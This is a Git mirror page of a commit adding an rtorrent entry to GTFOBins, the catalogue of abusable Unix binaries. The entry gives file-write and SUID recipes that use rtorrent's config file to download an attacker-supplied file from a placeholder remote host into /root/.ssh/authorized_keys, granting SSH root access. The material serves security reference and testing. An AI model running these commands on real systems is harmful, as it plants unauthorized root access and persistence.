mirror of
				https://github.com/GTFOBins/GTFOBins.github.io
				synced 2025-11-04 02:38:43 +01:00 
			
		
		
		
	Add rtorrent
This commit is contained in:
		
							
								
								
									
										18
									
								
								_gtfobins/rtorrent.md
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										18
									
								
								_gtfobins/rtorrent.md
									
									
									
									
									
										Normal file
									
								
							@@ -0,0 +1,18 @@
 | 
			
		||||
---
 | 
			
		||||
description: a BitTorrent client for ncurses.
 | 
			
		||||
functions:
 | 
			
		||||
  file-write:
 | 
			
		||||
    - code: |
 | 
			
		||||
        cat >> ~/.rtorrent.rc <<EOF
 | 
			
		||||
        execute.throw = mkdir,/root/.ssh
 | 
			
		||||
        execute.throw = wget,http://$RHOST:$RPORT/$RFILE,-O,/root/.ssh/authorized_keys
 | 
			
		||||
        EOF
 | 
			
		||||
        rtorrent
 | 
			
		||||
  suid:
 | 
			
		||||
    - code: |
 | 
			
		||||
        cat >> ~/.rtorrent.rc <<EOF
 | 
			
		||||
        execute.throw = mkdir,/root/.ssh
 | 
			
		||||
        execute.throw = wget,http://$RHOST:$RPORT/$RFILE,-O,/root/.ssh/authorized_keys
 | 
			
		||||
        EOF
 | 
			
		||||
        ./rtorrent
 | 
			
		||||
---
 | 
			
		||||
		Reference in New Issue
	
	Block a user